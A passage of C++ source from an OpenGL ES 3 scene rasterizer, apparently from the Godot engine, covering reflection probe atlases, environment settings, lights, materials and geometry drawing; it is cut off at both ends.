ERR_FAIL_COND_V(!victim_rpi, false); victim_rpi->atlas = RID(); victim_rpi->reflection_atlas_index = -1; } reflection_atlas->reflections.write[best_free].owner = p_instance; reflection_atlas->reflections.write[best_free].last_frame = storage->frame.count; rpi->reflection_atlas_index = best_free; rpi->atlas = p_reflection_atlas; rpi->render_step = 0; return true; } bool RasterizerSceneGLES3::reflection_probe_instance_postprocess_step(RID p_instance) { ReflectionProbeInstance *rpi = reflection_probe_instance_owner.getornull(p_instance); ERR_FAIL_COND_V(!rpi, true); ReflectionAtlas *reflection_atlas = reflection_atlas_owner.getornull(rpi->atlas); ERR_FAIL_COND_V(!reflection_atlas, false); ERR_FAIL_COND_V(rpi->render_step >= 6, true); glBindFramebuffer(GL_FRAMEBUFFER, reflection_atlas->fbo[rpi->render_step]); state.cube_to_dp_shader.bind(); int target_size = reflection_atlas->size / reflection_atlas->subdiv; int cubemap_index = reflection_cubemaps.size() - 1; for (int i = reflection_cubemaps.size() - 1; i >= 0; i--) { //find appropriate cubemap to render to if (reflection_cubemaps[i].size > target_size * 2) break; cubemap_index = i; } glDisable(GL_BLEND); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_CUBE_MAP, reflection_cubemaps[cubemap_index].cubemap); glDisable(GL_CULL_FACE); storage->shaders.cubemap_filter.set_conditional(CubemapFilterShaderGLES3::USE_DUAL_PARABOLOID, true); storage->shaders.cubemap_filter.bind(); int cell_size = reflection_atlas->size / reflection_atlas->subdiv; for (int i = 0; i < rpi->render_step; i++) { cell_size >>= 1; //mipmaps! } int x = (rpi->reflection_atlas_index % reflection_atlas->subdiv) * cell_size; int y = (rpi->reflection_atlas_index / reflection_atlas->subdiv) * cell_size; int width = cell_size; int height = cell_size; storage->shaders.cubemap_filter.set_conditional(CubemapFilterShaderGLES3::USE_DIRECT_WRITE, rpi->render_step == 0); storage->shaders.cubemap_filter.set_conditional(CubemapFilterShaderGLES3::LOW_QUALITY, rpi->probe_ptr->update_mode == VS::REFLECTION_PROBE_UPDATE_ALWAYS); for (int i = 0; i < 2; i++) { storage->shaders.cubemap_filter.set_uniform(CubemapFilterShaderGLES3::Z_FLIP, i == 0); storage->shaders.cubemap_filter.set_uniform(CubemapFilterShaderGLES3::ROUGHNESS, rpi->render_step / 5.0); uint32_t local_width = width, local_height = height; uint32_t local_x = x, local_y = y; local_height /= 2; local_y += i * local_height; glViewport(local_x, local_y, local_width, local_height); _copy_screen(); } storage->shaders.cubemap_filter.set_conditional(CubemapFilterShaderGLES3::USE_DIRECT_WRITE, false); storage->shaders.cubemap_filter.set_conditional(CubemapFilterShaderGLES3::LOW_QUALITY, false); rpi->render_step++; return rpi->render_step == 6; } /* ENVIRONMENT API */ RID RasterizerSceneGLES3::environment_create() { Environment *env = memnew(Environment); return environment_owner.make_rid(env); } void RasterizerSceneGLES3::environment_set_background(RID p_env, VS::EnvironmentBG p_bg) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->bg_mode = p_bg; } void RasterizerSceneGLES3::environment_set_sky(RID p_env, RID p_sky) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->sky = p_sky; } void RasterizerSceneGLES3::environment_set_sky_custom_fov(RID p_env, float p_scale) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->sky_custom_fov = p_scale; } void RasterizerSceneGLES3::environment_set_sky_orientation(RID p_env, const Basis &p_orientation) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->sky_orientation = p_orientation; } void RasterizerSceneGLES3::environment_set_bg_color(RID p_env, const Color &p_color) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->bg_color = p_color; } void RasterizerSceneGLES3::environment_set_bg_energy(RID p_env, float p_energy) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->bg_energy = p_energy; } void RasterizerSceneGLES3::environment_set_canvas_max_layer(RID p_env, int p_max_layer) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->canvas_max_layer = p_max_layer; } void RasterizerSceneGLES3::environment_set_ambient_light(RID p_env, const Color &p_color, float p_energy, float p_sky_contribution) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->ambient_color = p_color; env->ambient_energy = p_energy; env->ambient_sky_contribution = p_sky_contribution; } void RasterizerSceneGLES3::environment_set_camera_feed_id(RID p_env, int p_camera_feed_id) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->camera_feed_id = p_camera_feed_id; } void RasterizerSceneGLES3::environment_set_dof_blur_far(RID p_env, bool p_enable, float p_distance, float p_transition, float p_amount, VS::EnvironmentDOFBlurQuality p_quality) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->dof_blur_far_enabled = p_enable; env->dof_blur_far_distance = p_distance; env->dof_blur_far_transition = p_transition; env->dof_blur_far_amount = p_amount; env->dof_blur_far_quality = p_quality; } void RasterizerSceneGLES3::environment_set_dof_blur_near(RID p_env, bool p_enable, float p_distance, float p_transition, float p_amount, VS::EnvironmentDOFBlurQuality p_quality) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->dof_blur_near_enabled = p_enable; env->dof_blur_near_distance = p_distance; env->dof_blur_near_transition = p_transition; env->dof_blur_near_amount = p_amount; env->dof_blur_near_quality = p_quality; } void RasterizerSceneGLES3::environment_set_glow(RID p_env, bool p_enable, int p_level_flags, float p_intensity, float p_strength, float p_bloom_threshold, VS::EnvironmentGlowBlendMode p_blend_mode, float p_hdr_bleed_threshold, float p_hdr_bleed_scale, float p_hdr_luminance_cap, bool p_bicubic_upscale) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->glow_enabled = p_enable; env->glow_levels = p_level_flags; env->glow_intensity = p_intensity; env->glow_strength = p_strength; env->glow_bloom = p_bloom_threshold; env->glow_blend_mode = p_blend_mode; env->glow_hdr_bleed_threshold = p_hdr_bleed_threshold; env->glow_hdr_bleed_scale = p_hdr_bleed_scale; env->glow_hdr_luminance_cap = p_hdr_luminance_cap; env->glow_bicubic_upscale = p_bicubic_upscale; } void RasterizerSceneGLES3::environment_set_fog(RID p_env, bool p_enable, float p_begin, float p_end, RID p_gradient_texture) { } void RasterizerSceneGLES3::environment_set_ssr(RID p_env, bool p_enable, int p_max_steps, float p_fade_in, float p_fade_out, float p_depth_tolerance, bool p_roughness) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->ssr_enabled = p_enable; env->ssr_max_steps = p_max_steps; env->ssr_fade_in = p_fade_in; env->ssr_fade_out = p_fade_out; env->ssr_depth_tolerance = p_depth_tolerance; env->ssr_roughness = p_roughness; } void RasterizerSceneGLES3::environment_set_ssao(RID p_env, bool p_enable, float p_radius, float p_intensity, float p_radius2, float p_intensity2, float p_bias, float p_light_affect, float p_ao_channel_affect, const Color &p_color, VS::EnvironmentSSAOQuality p_quality, VisualServer::EnvironmentSSAOBlur p_blur, float p_bilateral_sharpness) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->ssao_enabled = p_enable; env->ssao_radius = p_radius; env->ssao_intensity = p_intensity; env->ssao_radius2 = p_radius2; env->ssao_intensity2 = p_intensity2; env->ssao_bias = p_bias; env->ssao_light_affect = p_light_affect; env->ssao_ao_channel_affect = p_ao_channel_affect; env->ssao_color = p_color; env->ssao_filter = p_blur; env->ssao_quality = p_quality; env->ssao_bilateral_sharpness = p_bilateral_sharpness; } void RasterizerSceneGLES3::environment_set_tonemap(RID p_env, VS::EnvironmentToneMapper p_tone_mapper, float p_exposure, float p_white, bool p_auto_exposure, float p_min_luminance, float p_max_luminance, float p_auto_exp_speed, float p_auto_exp_scale) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->tone_mapper = p_tone_mapper; env->tone_mapper_exposure = p_exposure; env->tone_mapper_exposure_white = p_white; env->auto_exposure = p_auto_exposure; env->auto_exposure_speed = p_auto_exp_speed; env->auto_exposure_min = p_min_luminance; env->auto_exposure_max = p_max_luminance; env->auto_exposure_grey = p_auto_exp_scale; } void RasterizerSceneGLES3::environment_set_adjustment(RID p_env, bool p_enable, float p_brightness, float p_contrast, float p_saturation, RID p_ramp) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->adjustments_enabled = p_enable; env->adjustments_brightness = p_brightness; env->adjustments_contrast = p_contrast; env->adjustments_saturation = p_saturation; env->color_correction = p_ramp; } void RasterizerSceneGLES3::environment_set_fog(RID p_env, bool p_enable, const Color &p_color, const Color &p_sun_color, float p_sun_amount) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->fog_enabled = p_enable; env->fog_color = p_color; env->fog_sun_color = p_sun_color; env->fog_sun_amount = p_sun_amount; } void RasterizerSceneGLES3::environment_set_fog_depth(RID p_env, bool p_enable, float p_depth_begin, float p_depth_end, float p_depth_curve, bool p_transmit, float p_transmit_curve) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->fog_depth_enabled = p_enable; env->fog_depth_begin = p_depth_begin; env->fog_depth_end = p_depth_end; env->fog_depth_curve = p_depth_curve; env->fog_transmit_enabled = p_transmit; env->fog_transmit_curve = p_transmit_curve; } void RasterizerSceneGLES3::environment_set_fog_height(RID p_env, bool p_enable, float p_min_height, float p_max_height, float p_height_curve) { Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND(!env); env->fog_height_enabled = p_enable; env->fog_height_min = p_min_height; env->fog_height_max = p_max_height; env->fog_height_curve = p_height_curve; } bool RasterizerSceneGLES3::is_environment(RID p_env) { return environment_owner.owns(p_env); } VS::EnvironmentBG RasterizerSceneGLES3::environment_get_background(RID p_env) { const Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND_V(!env, VS::ENV_BG_MAX); return env->bg_mode; } int RasterizerSceneGLES3::environment_get_canvas_max_layer(RID p_env) { const Environment *env = environment_owner.getornull(p_env); ERR_FAIL_COND_V(!env, -1); return env->canvas_max_layer; } RID RasterizerSceneGLES3::light_instance_create(RID p_light) { LightInstance *light_instance = memnew(LightInstance); light_instance->last_pass = 0; light_instance->last_scene_pass = 0; light_instance->last_scene_shadow_pass = 0; light_instance->light = p_light; light_instance->light_ptr = storage->light_owner.getornull(p_light); if (!light_instance->light_ptr) { memdelete(light_instance); ERR_FAIL_V_MSG(RID(), "Condition ' !light_instance->light_ptr ' is true."); } light_instance->self = light_instance_owner.make_rid(light_instance); return light_instance->self; } void RasterizerSceneGLES3::light_instance_set_transform(RID p_light_instance, const Transform &p_transform) { LightInstance *light_instance = light_instance_owner.getornull(p_light_instance); ERR_FAIL_COND(!light_instance); light_instance->transform = p_transform; } void RasterizerSceneGLES3::light_instance_set_shadow_transform(RID p_light_instance, const CameraMatrix &p_projection, const Transform &p_transform, float p_far, float p_split, int p_pass, float p_bias_scale) { LightInstance *light_instance = light_instance_owner.getornull(p_light_instance); ERR_FAIL_COND(!light_instance); if (light_instance->light_ptr->type != VS::LIGHT_DIRECTIONAL) { p_pass = 0; } ERR_FAIL_INDEX(p_pass, 4); light_instance->shadow_transform[p_pass].camera = p_projection; light_instance->shadow_transform[p_pass].transform = p_transform; light_instance->shadow_transform[p_pass].farplane = p_far; light_instance->shadow_transform[p_pass].split = p_split; light_instance->shadow_transform[p_pass].bias_scale = p_bias_scale; } void RasterizerSceneGLES3::light_instance_mark_visible(RID p_light_instance) { LightInstance *light_instance = light_instance_owner.getornull(p_light_instance); ERR_FAIL_COND(!light_instance); light_instance->last_scene_pass = scene_pass; } ////////////////////// RID RasterizerSceneGLES3::gi_probe_instance_create() { GIProbeInstance *gipi = memnew(GIProbeInstance); return gi_probe_instance_owner.make_rid(gipi); } void RasterizerSceneGLES3::gi_probe_instance_set_light_data(RID p_probe, RID p_base, RID p_data) { GIProbeInstance *gipi = gi_probe_instance_owner.getornull(p_probe); ERR_FAIL_COND(!gipi); gipi->data = p_data; gipi->probe = storage->gi_probe_owner.getornull(p_base); if (p_data.is_valid()) { RasterizerStorageGLES3::GIProbeData *gipd = storage->gi_probe_data_owner.getornull(p_data); ERR_FAIL_COND(!gipd); gipi->tex_cache = gipd->tex_id; gipi->cell_size_cache.x = 1.0 / gipd->width; gipi->cell_size_cache.y = 1.0 / gipd->height; gipi->cell_size_cache.z = 1.0 / gipd->depth; } } void RasterizerSceneGLES3::gi_probe_instance_set_transform_to_data(RID p_probe, const Transform &p_xform) { GIProbeInstance *gipi = gi_probe_instance_owner.getornull(p_probe); ERR_FAIL_COND(!gipi); gipi->transform_to_data = p_xform; } void RasterizerSceneGLES3::gi_probe_instance_set_bounds(RID p_probe, const Vector3 &p_bounds) { GIProbeInstance *gipi = gi_probe_instance_owner.getornull(p_probe); ERR_FAIL_COND(!gipi); gipi->bounds = p_bounds; } //////////////////////////// //////////////////////////// //////////////////////////// bool RasterizerSceneGLES3::_setup_material(RasterizerStorageGLES3::Material *p_material, bool p_depth_pass, bool p_alpha_pass) { /* this is handled outside if (p_material->shader->spatial.cull_mode == RasterizerStorageGLES3::Shader::Spatial::CULL_MODE_DISABLED) { glDisable(GL_CULL_FACE); } else { glEnable(GL_CULL_FACE); } */ if (state.current_line_width != p_material->line_width) { //glLineWidth(MAX(p_material->line_width,1.0)); state.current_line_width = p_material->line_width; } if (state.current_depth_test != (!p_material->shader->spatial.no_depth_test)) { if (p_material->shader->spatial.no_depth_test) { glDisable(GL_DEPTH_TEST); } else { glEnable(GL_DEPTH_TEST); } state.current_depth_test = !p_material->shader->spatial.no_depth_test; } if (state.current_depth_draw != p_material->shader->spatial.depth_draw_mode) { switch (p_material->shader->spatial.depth_draw_mode) { case RasterizerStorageGLES3::Shader::Spatial::DEPTH_DRAW_ALPHA_PREPASS: { glDepthMask(p_depth_pass); // If some transparent objects write to depth, we need to re-copy depth texture when we need it if (p_alpha_pass && !state.used_depth_prepass) { state.prepared_depth_texture = false; } } break; case RasterizerStorageGLES3::Shader::Spatial::DEPTH_DRAW_OPAQUE: { glDepthMask(!p_alpha_pass); } break; case RasterizerStorageGLES3::Shader::Spatial::DEPTH_DRAW_ALWAYS: { glDepthMask(GL_TRUE); // If some transparent objects write to depth, we need to re-copy depth texture when we need it if (p_alpha_pass) { state.prepared_depth_texture = false; } } break; case RasterizerStorageGLES3::Shader::Spatial::DEPTH_DRAW_NEVER: { glDepthMask(GL_FALSE); } break; } state.current_depth_draw = p_material->shader->spatial.depth_draw_mode; } #if 0 //blend mode if (state.current_blend_mode!=p_material->shader->spatial.blend_mode) { switch(p_material->shader->spatial.blend_mode) { case RasterizerStorageGLES3::Shader::Spatial::BLEND_MODE_MIX: { glBlendEquation(GL_FUNC_ADD); if (storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_TRANSPARENT]) { glBlendFuncSeparate(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ONE_MINUS_SRC_ALPHA); } else { glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); } } break; case RasterizerStorageGLES3::Shader::Spatial::BLEND_MODE_ADD: { glBlendEquation(GL_FUNC_ADD); glBlendFunc(p_alpha_pass?GL_SRC_ALPHA:GL_ONE,GL_ONE); } break; case RasterizerStorageGLES3::Shader::Spatial::BLEND_MODE_SUB: { glBlendEquation(GL_FUNC_REVERSE_SUBTRACT); glBlendFunc(GL_SRC_ALPHA,GL_ONE); } break; case RasterizerStorageGLES3::Shader::Spatial::BLEND_MODE_MUL: { glBlendEquation(GL_FUNC_ADD); if (storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_TRANSPARENT]) { glBlendFuncSeparate(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA, GL_ONE, GL_ONE_MINUS_SRC_ALPHA); } else { glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); } } break; } state.current_blend_mode=p_material->shader->spatial.blend_mode; } #endif //material parameters state.scene_shader.set_custom_shader(p_material->shader->custom_code_id); bool rebind = state.scene_shader.bind(); if (p_material->ubo_id) { glBindBufferBase(GL_UNIFORM_BUFFER, 1, p_material->ubo_id); } int tc = p_material->textures.size(); RID *textures = p_material->textures.ptrw(); ShaderLanguage::ShaderNode::Uniform::Hint *texture_hints = p_material->shader->texture_hints.ptrw(); const ShaderLanguage::DataType *texture_types = p_material->shader->texture_types.ptr(); state.current_main_tex = 0; for (int i = 0; i < tc; i++) { glActiveTexture(GL_TEXTURE0 + i); GLenum target = GL_TEXTURE_2D; GLuint tex = 0; RasterizerStorageGLES3::Texture *t = storage->texture_owner.getptr(textures[i]); if (t) { if (t->redraw_if_visible) { //must check before proxy because this is often used with proxies VisualServerRaster::redraw_request(); } t = t->get_ptr(); //resolve for proxies #ifdef TOOLS_ENABLED if (t->detect_3d) { t->detect_3d(t->detect_3d_ud); } #endif #ifdef TOOLS_ENABLED if (t->detect_normal && texture_hints[i] == ShaderLanguage::ShaderNode::Uniform::HINT_NORMAL) { t->detect_normal(t->detect_normal_ud); } #endif if (t->render_target) t->render_target->used_in_frame = true; target = t->target; tex = t->tex_id; } else { switch (texture_types[i]) { case ShaderLanguage::TYPE_ISAMPLER2D: case ShaderLanguage::TYPE_USAMPLER2D: case ShaderLanguage::TYPE_SAMPLER2D: { target = GL_TEXTURE_2D; switch (texture_hints[i]) { case ShaderLanguage::ShaderNode::Uniform::HINT_BLACK_ALBEDO: case ShaderLanguage::ShaderNode::Uniform::HINT_BLACK: { tex = storage->resources.black_tex; } break; case ShaderLanguage::ShaderNode::Uniform::HINT_ANISO: { tex = storage->resources.aniso_tex; } break; case ShaderLanguage::ShaderNode::Uniform::HINT_NORMAL: { tex = storage->resources.normal_tex; } break; default: { tex = storage->resources.white_tex; } break; } } break; case ShaderLanguage::TYPE_SAMPLERCUBE: { // TODO } break; case ShaderLanguage::TYPE_ISAMPLER3D: case ShaderLanguage::TYPE_USAMPLER3D: case ShaderLanguage::TYPE_SAMPLER3D: { target = GL_TEXTURE_3D; tex = storage->resources.white_tex_3d; //switch (texture_hints[i]) { // TODO //} } break; case ShaderLanguage::TYPE_ISAMPLER2DARRAY: case ShaderLanguage::TYPE_USAMPLER2DARRAY: case ShaderLanguage::TYPE_SAMPLER2DARRAY: { target = GL_TEXTURE_2D_ARRAY; tex = storage->resources.white_tex_array; //switch (texture_hints[i]) { // TODO //} } break; default: { } } } glBindTexture(target, tex); if (t && storage->config.srgb_decode_supported) { //if SRGB decode extension is present, simply switch the texture to whathever is needed bool must_srgb = false; if (t->srgb && (texture_hints[i] == ShaderLanguage::ShaderNode::Uniform::HINT_ALBEDO || texture_hints[i] == ShaderLanguage::ShaderNode::Uniform::HINT_BLACK_ALBEDO)) { must_srgb = true; } if (t->using_srgb != must_srgb) { if (must_srgb) { glTexParameteri(t->target, _TEXTURE_SRGB_DECODE_EXT, _DECODE_EXT); #ifdef TOOLS_ENABLED if (t->detect_srgb) { t->detect_srgb(t->detect_srgb_ud); } #endif } else { glTexParameteri(t->target, _TEXTURE_SRGB_DECODE_EXT, _SKIP_DECODE_EXT); } t->using_srgb = must_srgb; } } if (i == 0) { state.current_main_tex = tex; } } return rebind; } struct RasterizerGLES3Particle { float color[4]; float velocity_active[4]; float custom[4]; float xform_1[4]; float xform_2[4]; float xform_3[4]; }; struct RasterizerGLES3ParticleSort { Vector3 z_dir; bool operator()(const RasterizerGLES3Particle &p_a, const RasterizerGLES3Particle &p_b) const { return z_dir.dot(Vector3(p_a.xform_1[3], p_a.xform_2[3], p_a.xform_3[3])) < z_dir.dot(Vector3(p_b.xform_1[3], p_b.xform_2[3], p_b.xform_3[3])); } }; void RasterizerSceneGLES3::_setup_geometry(RenderList::Element *e, const Transform &p_view_transform) { switch (e->instance->base_type) { case VS::INSTANCE_MESH: { RasterizerStorageGLES3::Surface *s = static_cast<RasterizerStorageGLES3::Surface *>(e->geometry); if (s->blend_shapes.size() && e->instance->blend_values.size()) { //blend shapes, use transform feedback storage->mesh_render_blend_shapes(s, e->instance->blend_values.ptr()); //rebind shader state.scene_shader.bind(); #ifdef DEBUG_ENABLED } else if (state.debug_draw == VS::VIEWPORT_DEBUG_DRAW_WIREFRAME && s->array_wireframe_id) { glBindVertexArray(s->array_wireframe_id); // everything is so easy nowadays #endif } else { glBindVertexArray(s->array_id); // everything is so easy nowadays } } break; case VS::INSTANCE_MULTIMESH: { RasterizerStorageGLES3::MultiMesh *multi_mesh = static_cast<RasterizerStorageGLES3::MultiMesh *>(e->owner); RasterizerStorageGLES3::Surface *s = static_cast<RasterizerStorageGLES3::Surface *>(e->geometry); #ifdef DEBUG_ENABLED if (state.debug_draw == VS::VIEWPORT_DEBUG_DRAW_WIREFRAME && s->instancing_array_wireframe_id) { glBindVertexArray(s->instancing_array_wireframe_id); // use the instancing array ID } else #endif { glBindVertexArray(s->instancing_array_id); // use the instancing array ID } glBindBuffer(GL_ARRAY_BUFFER, multi_mesh->buffer); //modify the buffer int stride = (multi_mesh->xform_floats + multi_mesh->color_floats + multi_mesh->custom_data_floats) * 4; glEnableVertexAttribArray(8); glVertexAttribPointer(8, 4, GL_FLOAT, GL_FALSE, stride, NULL); glVertexAttribDivisor(8, 1); glEnableVertexAttribArray(9); glVertexAttribPointer(9, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(4 * 4)); glVertexAttribDivisor(9, 1); int color_ofs; if (multi_mesh->transform_format == VS::MULTIMESH_TRANSFORM_3D) { glEnableVertexAttribArray(10); glVertexAttribPointer(10, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(8 * 4)); glVertexAttribDivisor(10, 1); color_ofs = 12 * 4; } else { glDisableVertexAttribArray(10); glVertexAttrib4f(10, 0, 0, 1, 0); color_ofs = 8 * 4; } int custom_data_ofs = color_ofs; switch (multi_mesh->color_format) { case VS::MULTIMESH_COLOR_NONE: { glDisableVertexAttribArray(11); glVertexAttrib4f(11, 1, 1, 1, 1); } break; case VS::MULTIMESH_COLOR_8BIT: { glEnableVertexAttribArray(11); glVertexAttribPointer(11, 4, GL_UNSIGNED_BYTE, GL_TRUE, stride, CAST_INT_TO_UCHAR_PTR(color_ofs)); glVertexAttribDivisor(11, 1); custom_data_ofs += 4; } break; case VS::MULTIMESH_COLOR_FLOAT: { glEnableVertexAttribArray(11); glVertexAttribPointer(11, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(color_ofs)); glVertexAttribDivisor(11, 1); custom_data_ofs += 4 * 4; } break; } switch (multi_mesh->custom_data_format) { case VS::MULTIMESH_CUSTOM_DATA_NONE: { glDisableVertexAttribArray(12); glVertexAttrib4f(12, 1, 1, 1, 1); } break; case VS::MULTIMESH_CUSTOM_DATA_8BIT: { glEnableVertexAttribArray(12); glVertexAttribPointer(12, 4, GL_UNSIGNED_BYTE, GL_TRUE, stride, CAST_INT_TO_UCHAR_PTR(custom_data_ofs)); glVertexAttribDivisor(12, 1); } break; case VS::MULTIMESH_CUSTOM_DATA_FLOAT: { glEnableVertexAttribArray(12); glVertexAttribPointer(12, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(custom_data_ofs)); glVertexAttribDivisor(12, 1); } break; } } break; case VS::INSTANCE_PARTICLES: { RasterizerStorageGLES3::Particles *particles = static_cast<RasterizerStorageGLES3::Particles *>(e->owner); RasterizerStorageGLES3::Surface *s = static_cast<RasterizerStorageGLES3::Surface *>(e->geometry); if (particles->draw_order == VS::PARTICLES_DRAW_ORDER_VIEW_DEPTH && particles->particle_valid_histories[1]) { glBindBuffer(GL_ARRAY_BUFFER, particles->particle_buffer_histories[1]); //modify the buffer, this was used 2 frames ago so it should be good enough for flushing RasterizerGLES3Particle *particle_array; #ifndef __EMSCRIPTEN__ particle_array = static_cast<RasterizerGLES3Particle *>(glMapBufferRange(GL_ARRAY_BUFFER, 0, particles->amount * 24 * sizeof(float), GL_MAP_READ_BIT | GL_MAP_WRITE_BIT)); #else PoolVector<RasterizerGLES3Particle> particle_vector; particle_vector.resize(particles->amount); PoolVector<RasterizerGLES3Particle>::Write particle_writer = particle_vector.write(); particle_array = particle_writer.ptr(); glGetBufferSubData(GL_ARRAY_BUFFER, 0, particles->amount * sizeof(RasterizerGLES3Particle), particle_array); #endif SortArray<RasterizerGLES3Particle, RasterizerGLES3ParticleSort> sorter; if (particles->use_local_coords) { sorter.compare.z_dir = e->instance->transform.affine_inverse().xform(p_view_transform.basis.get_axis(2)).normalized(); } else { sorter.compare.z_dir = p_view_transform.basis.get_axis(2).normalized(); } sorter.sort(particle_array, particles->amount); #ifndef __EMSCRIPTEN__ glUnmapBuffer(GL_ARRAY_BUFFER); #else particle_writer.release(); particle_array = NULL; { PoolVector<RasterizerGLES3Particle>::Read r = particle_vector.read(); glBufferSubData(GL_ARRAY_BUFFER, 0, particles->amount * sizeof(RasterizerGLES3Particle), r.ptr()); } particle_vector = PoolVector<RasterizerGLES3Particle>(); #endif #ifdef DEBUG_ENABLED if (state.debug_draw == VS::VIEWPORT_DEBUG_DRAW_WIREFRAME && s->instancing_array_wireframe_id) { glBindVertexArray(s->instancing_array_wireframe_id); // use the wireframe instancing array ID } else #endif { glBindVertexArray(s->instancing_array_id); // use the instancing array ID } glBindBuffer(GL_ARRAY_BUFFER, particles->particle_buffer_histories[1]); //modify the buffer } else { #ifdef DEBUG_ENABLED if (state.debug_draw == VS::VIEWPORT_DEBUG_DRAW_WIREFRAME && s->instancing_array_wireframe_id) { glBindVertexArray(s->instancing_array_wireframe_id); // use the wireframe instancing array ID } else #endif { glBindVertexArray(s->instancing_array_id); // use the instancing array ID } glBindBuffer(GL_ARRAY_BUFFER, particles->particle_buffers[0]); //modify the buffer } int stride = sizeof(float) * 4 * 6; //transform if (particles->draw_order != VS::PARTICLES_DRAW_ORDER_LIFETIME) { glEnableVertexAttribArray(8); //xform x glVertexAttribPointer(8, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(sizeof(float) * 4 * 3)); glVertexAttribDivisor(8, 1); glEnableVertexAttribArray(9); //xform y glVertexAttribPointer(9, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(sizeof(float) * 4 * 4)); glVertexAttribDivisor(9, 1); glEnableVertexAttribArray(10); //xform z glVertexAttribPointer(10, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(sizeof(float) * 4 * 5)); glVertexAttribDivisor(10, 1); glEnableVertexAttribArray(11); //color glVertexAttribPointer(11, 4, GL_FLOAT, GL_FALSE, stride, NULL); glVertexAttribDivisor(11, 1); glEnableVertexAttribArray(12); //custom glVertexAttribPointer(12, 4, GL_FLOAT, GL_FALSE, stride, CAST_INT_TO_UCHAR_PTR(sizeof(float) * 4 * 2)); glVertexAttribDivisor(12, 1); } } break; default: { } } } static const GLenum gl_primitive[] = { GL_POINTS, GL_LINES, GL_LINE_STRIP, GL_LINE_LOOP, GL_TRIANGLES, GL_TRIANGLE_STRIP, GL_TRIANGLE_FAN }; void RasterizerSceneGLES3::_render_geometry(RenderList::Element *e) { switch (e->instance->base_type) { case VS::INSTANCE_MESH: { RasterizerStorageGLES3::Surface *s = static_cast<RasterizerStorageGLES3::Surface *>(e->geometry); #ifdef DEBUG_ENABLED if (state.debug_draw == VS::VIEWPORT_DEBUG_DRAW_WIREFRAME && s->array_wireframe_id) { glDrawElements(GL_LINES, s->index_wireframe_len, GL_UNSIGNED_INT, 0); storage->info.render.vertices_count += s->index_array_len; } else #endif if (s->index_array_len > 0) { glDrawElements(gl_primitive[s->primitive], s->index_array_len, (s->array_len >= (1 << 16)) ? GL_UNSIGNED_INT : GL_UNSIGNED_SHORT, 0); storage->info.render.vertices_count += s->index_array_len; } else { glDrawArrays(gl_primitive[s->primitive], 0, s->array_len); storage->info.render.vertices_count += s->array_len; } } break; case VS::INSTANCE_MULTIMESH: { RasterizerStorageGLES3::MultiMesh *multi_mesh = static_cast<RasterizerStorageGLES3::MultiMesh *>(e->owner); RasterizerStorageGLES3::Surface *s = static_cast<RasterizerStorageGLES3::Surface *>(e->geometry); int amount = MIN(multi_mesh->size, multi_mesh->visible_instances); if (amount == -1) { amount = multi_mesh->size; } #ifdef DEBUG_ENABLED if (state.debug_draw == VS::VIEWPORT_DEBUG_DRAW_WIREFRAME && s->array_wireframe_id) { glDrawElementsInstanced(GL_LINES, s->index_wireframe_len, GL_UNSIGNED_INT, 0, amount); storage->info.render.vertices_count += s->index_array_len * amount; } else #endif if (s->index_array_len > 0) { glDrawElementsInstanced(gl_primitive[s->primitive], s->index_array_len, (s->array_len >= (1 << 16)) ? GL_UNSIGNED_INT : GL_UNSIGNED_SHORT, 0, amount); storage->info.render.vertices_count += s->index_array_len * amount; } else { glDrawArraysInstanced(gl_primitive[s->primitive], 0, s->array_len, amount); storage->info.render.vertices_count += s->array_len * amount; } } break; case VS::INSTANCE_IMMEDIATE: { bool restore_tex = false; const RasterizerStorageGLES3::Immediate *im = static_cast<const RasterizerStorageGLES3::Immediate *>(e->geometry); if (im->building) { return; } glBindBuffer(GL_ARRAY_BUFFER, state.immediate_buffer); glBindVertexArray(state.immediate_array); for (const List<RasterizerStorageGLES3::Immediate::Chunk>::Element *E = im->chunks.front(); E; E = E->next()) { const RasterizerStorageGLES3::Immediate::Chunk &c = E->get(); if (c.vertices.empty()) { continue; } int vertices = c.vertices.size(); uint32_t buf_ofs = 0; storage->info.render.vertices_count += vertices; if (c.texture.is_valid() && storage->texture_owner.owns(c.texture)) { RasterizerStorageGLES3::Texture *t = storage->texture_owner.get(c.texture); if (t->redraw_if_visible) { 